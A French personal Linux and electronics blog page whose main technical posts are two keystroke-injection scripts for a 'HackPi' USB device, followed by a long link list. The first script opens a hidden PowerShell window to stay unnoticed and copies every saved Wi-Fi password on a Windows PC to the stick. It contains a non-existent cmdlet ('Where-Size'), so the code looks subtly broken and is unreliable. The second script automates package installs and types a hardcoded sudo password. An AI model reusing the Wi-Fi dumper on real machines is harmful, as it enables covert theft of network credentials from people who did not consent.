Blog-Notes @VIEIRAEmmanuel
Notes / UBUNTU LINUX, Informatique, Électronique, région Centre, loisirs, Youtube...
jeudi 1 octobre 2026
mercredi 30 septembre 2026
lundi 28 septembre 2026
Récupération d'un portable Compaq 2Go avec Pentium T2330 + MPV pour Youtube
Lilidog Linux est une distribution légère et complète basée sur Debian stable avec Openbox et Tint2.
Commandes Intallation MPV et Lecture de videos / Youtube# installation
# lecture
Wi-Fi Dumper sur HackPi
Sur windows :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY
# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)
def press_combo(key1, key2):
kbd.press(key1)
kbd.press(key2)
time.sleep(0.1)
kbd.release_all()
time.sleep(0.5)
def envoyer_commande(texte):
layout.write(texte)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
time.sleep(0.4)
# --- DÉBUT DE L'EXTRACTION ---
# 1. Attente de sécurité après le branchement USB
time.sleep(4)
# 2. Ouvrir la boîte de dialogue "Exécuter" (Win + R)
press_combo(Keycode.GUI, Keycode.R)
time.sleep(0.8)
# 3. Ouvrir PowerShell en arrière-plan et de manière discrète
# -WindowStyle Hidden permet de masquer rapidement la fenêtre pour rester discret
envoyer_commande("powershell -WindowStyle Hidden")
time.sleep(1.5)
# 4. Commande PowerShell pour extraire les mots de passe Wi-Fi et les enregistrer sur le HackyPi
# Le script cherche un lecteur USB contenant un dossier ou nommé 'HACKYPI' pour y écrire 'wifi_passwords.txt'
commande_payload = (
"$drive = (Get-Volume | Where-Size -FilterScript {$_.DriveLetter -and ($_.FileSystemLabel -eq 'HACKYPI' -or $_.FriendlyName -like '*HackyPi*')}).DriveLetter;"
"if (-not $drive) { $drive = (Get-WMIObject Win32_Volume | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1).DriveLetter };"
"$log = \"${drive}:\\wifi_passwords.txt\";"
"(netsh wlan show profiles) | Select-String '\\:(.+)$' | ForEach-Object { $name = $_.Matches.Groups[1].Value.Trim(); "
"if ($name) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Contenu de la cl' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' }; "
"if (-not $pass) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Key Content' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' } }; "
"\"SSID: $name | Password: $pass\" >> $log } }; exit"
)
# 5. Injection et exécution de la commande
envoyer_commande(commande_payload)
Script MicroPython : Installation native APT + Flatpak sur le HackPi
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Layout AZERTY
# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)
# --- CONFIGURATION ---
MOT_DE_PASSE_SUDO = "votre_mot_de_passe" # Laissez vide "" si vous préférez le taper vous-même
# Applications APT classiques (requis pour installer flatpak lui-même)
LOGICIELS_APT = "curl git flatpak"
# Applications Flatpak (Utilisez les identifiants uniques de Flathub)
# Exemple : Spotify, Discord, et LibreOffice
LOGICIELS_FLATPAK = "com.spotify.Client com.discordapp.Discord org.libreoffice.LibreOffice"
def press_combo(key1, key2, key3=None):
kbd.press(key1)
kbd.press(key2)
if key3:
kbd.press(key3)
time.sleep(0.1)
kbd.release_all()
time.sleep(0.5)
def envoyer_commande(texte):
layout.write(texte)
time.sleep(0.1)
kbd.send(Keycode.ENTER)
time.sleep(0.5)
# --- DÉBUT DE L'AUTOMATISATION ---
time.sleep(3) # Attente après branchement USB
# 1. Ouverture du terminal (Ctrl + Alt + T)
press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)
time.sleep(1.5)
# 2. Mise à jour APT et installation du gestionnaire Flatpak
envoyer_commande("sudo apt update && sudo apt install -y " + LOGICIELS_APT)
if MOT_DE_PASSE_SUDO:
envoyer_commande(MOT_DE_PASSE_SUDO)
time.sleep(15) # Temps d'attente pour l'installation d'APT et de Flatpak
# 3. Ajout du dépôt officiel Flathub
envoyer_commande("flatpak remote-add --if-not-exists flathub https://flathub.org")
time.sleep(2)
# 4. Installation massive des applications Flatpak (-y pour valider automatiquement)
# L'option --noninteractive évite que Flatpak ne demande des confirmations de permissions
commande_flatpak = f"flatpak install -y --noninteractive flathub {LOGICIELS_FLATPAK}"
envoyer_commande(commande_flatpak)
# Fin du script
Archives du blog
Listes d'adresses / Maintenir touche Ctrl enfoncée avant de cliquer sur le lien SVP
- * Thingiverse
- ***CENABUMIX Orleans
- ***Codepen.io
- ***KonstaKANG
- >>installati.one
- >ArcadePunk
- 9to5Linux
- Actualia.fr
- AddictiveTips
- aidelinux.gogocarto.fr
- Alasta
- Algolia/Linux
- Alternative To
- Ameridroid
- Apache Friends
- AppImage
- AptGetLife.co.uk
- arobase.stesteve.free.fr
- Art du web
- Assembleur ARM Pi
- Atramenta Livres
- Automation-Sense
- Babeuloula
- Batocera
- BetaNews
- BiapyHelpDesk
- bios-pw.org
- Bleeping Computer
- Blog de Genma
- Blog du grouik
- Blog iglou
- Blog Microlinux
- Blog-des-telecoms
- BlogBooker
- BlogDuModerateur
- Buzz Webzine
- CanardWifi
- Casa OS
- Castman
- CEL CoursEnLigne
- Chaillot Barnabé /Youtube
- Chez Airelle bidules informatique
- Christian's Blog
- clicours
- Climato
- CloudBooklet
- CNX-Software
- CodeFlow
- CodeLab
- CommandLineFu
- ComputingForGeeks
- Cours-Gratuit
- CoursInfoRevest
- Ctrl-C.Info
- Cyberciti
- DailyGeekShow
- Daniel Miessler
- Debian Install Notes
- Debian-facile.org
- DebugPoint
- Dedoimedo
- DesdeLinux (es)
- DesGeeksEtDesLettres
- DEV
- dev.tranquil.it
- Developpez
- DeviceGuru
- DevTube
- Dieudo
- DigitalOcean
- DioLinux (br)
- Distrosea
- Distrowatch ***
- Dolys
- DownloadSource
- DraculaServers
- Dz Techs
- EduTech
- elementary OS
- eLinux
- EmidioPlanamente
- EmuELEC
- EmuOS
- EmuParadise.me
- Engadget.com
- Eskimon
- ExplainShell
- Exploit DB
- FichesPratiquesTIC
- Figer
- FileHippo WindowsAppManager
- FlatHub
- Floss Manuals
- Formatux
- Forum Hardware
- Foss Naija
- Fouineux.com
- fr.unixlinux.online
- Framasoft
- FrameIP
- Freecode
- Freewares-tutos
- FullCircleMagazine
- Fun of DIY
- Funix.org
- FuturaTech
- Geeek
- Geek on Web
- Geekland ESP
- GeekRewind
- GeekyTuts
- Génération Linux
- GHacks.net
- Ginjfo
- Gizmo Linux
- GlobalSecurityMag
- GNU Linux Mag
- GoingLinux
- GoodTech.info
- Gotronic
- GreenIT.fr
- GuideDeSurvieDuDebutantLinux
- GuideScriptsBash
- Gwendal Orinel
- Hackaday.io
- HackSpark
- Hackster.io
- Hackzism
- HAL Thèses
- HaveTheKnowHow
- HereWithMe
- Hiroom2
- HoaxBuster
- HoneyMap
- HostingAdvice
- Hostinger
- How to Ubuntu
- HowToForge/Ubuntu
- HTMLDrive
- iactu.info
- IdleBlog
- Idum
- If-not-true-then-false
- InfoHelpLinux
- infolib.re
- InformatiqueNews
- Instructables
- InternetActu
- InterServer
- IT Connect
- IT pro
- It's FOSS
- ITNext
- ItsLinuxFoss
- James A Chambers
- jeanluc.rigal.free.fr
- JeSuisUnDev
- Journal du hacker
- JustLinux
- KaliTut
- kernel.org
- kernelnewbies.org
- KitPloit
- Kitspace
- Kogite
- Koozali SME Server
- Korben ***
- Kozodo
- KreationNext
- Krizna
- Ktechpit
- KultureGeek
- L'informatique.org
- La cave à tonton
- La caverne de Lucan
- Labo.d'Info.Fond.Orleans
- Labomedia
- Lakka
- Le comptoir de l'info
- Le Guide Informatique
- Le hollandais volant .net
- Le Linuxien
- Le Monde Informatique
- LeBearCNC
- LeMondeDesTuts
- Les Hirondelles du Net
- Les Horaires
- LesJoiesDuSysAdmin
- LesMoutonsEnrages.fr
- Lexilogos
- LFFL.org Linux Freedom
- Libellules.net
- LibrePlanet
- liensutiles.org
- Lignux (es)
- liliputing
- LinOxide
- LinTut
- Linurs.org
- LinusTechTips
- Linux Babe
- Linux Command Library
- Linux Compatible
- Linux Config
- Linux et Geekeries
- Linux Foundation
- Linux Fr
- Linux Game News
- Linux Hint
- Linux Journal
- Linux MAO
- Linux Security.com<<<<<
- Linux Today
- Linux Ubuntu pour les nuls
- Linux Uprising
- Linux VM Images
- Linux-Apps
- Linux-FRA
- linux-fra.com
- Linux-Hardware
- Linux.com
- Linux.how2shout.com
- Linux4Noobs
- LinuxActionNews
- LinuxAdictos (es)
- LinuxCapable
- linuxcommandlibrary.com
- LinuxDicasESuporte (br)
- LinuxGameCast
- LinuxGenie
- LinuxGizmos
- LinuxGraphic
- Linuxintosh
- LinuxLinks
- LinuxManpages
- LinuxNordPasDeCalais
- LinuxQuestions
- LinuxSecurity ***
- LinuxSecurityExpert
- LinuxSoftpedia
- LinuxTeck
- LinuxTracker
- LinuxVillage.org
- LinuxWave
- ListeLogicielsLibres/Wikipedia
- lkml.org
- Lofurol
- LowendBox
- LowEndTalk
- LowTechLab
- MakeTechEasier
- MakeUseOf
- MalagaOriginal (es)
- Malekal
- Malgouyres
- Manuel des manuels
- Mariuz's Blog
- MarkoNtech
- MCHobby
- mcours
- Medicatusb.com ***
- Medium
- Memo Linux
- MemoInfoLinux
- Mémoire Secondaire
- MesPotesGeek
- Metabricoleur
- Meteo Orleans
- MicroLinux
- Mint Guide
- Misfu
- Mondedie
- MontanaLinux
- MonVPN
- Morioh
- Morioh
- Morot
- NetworkWorld
- Next.ink
- NoobsLab
- Noobunbox.net
- Notes-de-cours
- Numétopia
- NyroBlog
- Obligement.free.fr
- Octet malin
- OMG Ubuntu
- OnlineConversion
- OodlesTechnologies
- OpenClassrooms
- OpenSharing
- OpenSource
- Opensource Guide
- OpenSourceFilms
- Ophyde
- Orbital-Apps
- OrdiTutos
- OSS Blog
- OSSIR.org
- OSTechNix
- Pascal's weblog
- Passion GNU Linux
- PC Astuces/Linux
- PC Inpact
- PenDriveApps
- Performance
- PetitSurfeur
- PhonAndroid
- PiMyLifeUP
- PingTool.org
- PixelBoys
- PlaceOweb
- Planet.Auto-Hebergement
- Play.it
- PlayWithFree
- PortableAppz
- PrismBreak Apps
- QAStack
- QRCode Kaywa
- ReadTheDocs.org
- Real Linux User
- Recalbox
- Regex101
- Repair FAQ
- Reposcope
- Ressources TICE
- RetroArena
- RetroBat
- Retrogames.cc
- RetroGameSets
- Retropie
- RiseUp
- ROMStation
- Ronald S. Bultje
- Root-Me
- RootsLabs
- Saironiq's.blog
- Sciences-du-numerique
- Scriptol
- Seboss666
- selfh.st/apps/
- SemaGeek
- SempreUpdate (br)
- Server-world.info
- ServerFault
- si3t.ch
- Siècle Digital
- Silicon
- SiteDuZéro
- SkyMinds
- SmallCab
- SocialCompare
- SoftwareSea
- SOS-Accessoire
- SourceDigit
- Spareka pièces
- StackExchange
- StackOverflow
- SugarBug
- Super User
- Supertos
- Syst&Deploy
- Tec Robust
- TECFA
- TechExpert.Tips
- Technastic
- TecMint
- TecRobust
- Test IPV6
- Thaeial
- TheCoderWorld
- TheLinuxCauldron
- TheMiniCakeTV
- ThisHostingRocks
- Today I Learned
- tomeko.net
- TousLesDrivers
- TowardsDataScience
- Trevilly
- TuGaleres
- TutorialForLinux
- Tutoriels-informatique
- Tutoriels-video.fr
- Tutos.eu
- Tux Machines
- Tuxboard
- Ubiquiti Community
- Ubunlog (es)
- Ubuntizando (es)
- Ubuntu Buzz
- Ubuntu Linux Ressources
- Ubuntu PIT
- Ubuntu/sourceforge
- UbuntuFree
- UbuntuGenius
- UbuntuHandbook
- UbuntuNews.de
- UbuntuPIT
- Udemy
- umbrel OS
- Valou-tweak
- VDM
- Versus
- Viva O Linux (br)
- VPN Users
- vTuner radios
- Vulgarisation-Informatique
- Webcafe Ubuntu .org
- WebInfoTuto
- WebUpd8
- WhoIsHostingThis
- wiki.crowncloud.net
- WikiBooks
- wikidot docs
- Wired
- WonderHowTo
- WowROMS
- Wyman
- xavki.blog
- Xieme-Art
- Xmodulo
- Xpressrazor
- Xyoos
- Yann
- YoctoProject
- YubiGeek
- Yunohost
- yunohost.org
- Zaclys
- Zebulon
- Zeste de Savoir
- Zigazou
- Zima OS